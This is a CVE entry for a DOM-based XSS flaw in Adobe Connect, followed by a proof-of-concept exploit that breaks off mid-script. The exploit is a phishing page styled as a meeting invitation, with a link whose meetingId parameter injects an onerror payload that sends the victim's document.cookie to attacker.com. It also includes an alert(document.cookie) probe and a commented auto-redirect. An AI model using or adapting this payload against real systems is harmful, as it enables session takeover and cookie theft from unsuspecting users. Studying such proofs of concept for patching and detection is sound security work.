CVE-2025-49552

Description

Adobe Connect versions 12.9 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a high-privileged attacker to execute malicious scripts in a victim's browser. Exploitation of this issue requires user interaction in that a victim must navigate to a crafted web page. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high. Scope is changed.

<!-- CVE-2025-49552 PoC: Adobe Connect DOM-based XSS -->
<!-- This PoC demonstrates a crafted URL that exploits the DOM-based XSS vulnerability -->

<!-- Malicious URL example that an attacker would craft: -->
<!-- https://connect.example.com/[vulnerable_path]?param=<img src=x onerror=alert(document.cookie)> -->

<!-- Attacker's HTML page that redirects victim to the malicious URL: -->
<html>
<head>
    <title>Important Meeting Invitation</title>
</head>
<body>
    <h1>Click here to join the meeting</h1>
    <!-- The crafted URL below contains XSS payload in a parameter that is unsafely processed by Adobe Connect's client-side JavaScript -->
    <a href="https://connect.example.com/meeting/join?meetingId=<img%20src=x%20onerror=this.src='https://attacker.com/steal?c='+document.cookie>" id="malicious-link">
        Join Meeting Now
    </a>
    <script>
        // Optional: Auto-redirect the victim to the malicious URL
        // window.location.href = document.getElementById('malicious-link').href;
        
        // More sophisticated payload to steal session tokens
        var payload = "javascript:void(0)";

<!-- Server-side exfiltration endpoint (attacker's server) - Node.js example -->
/*
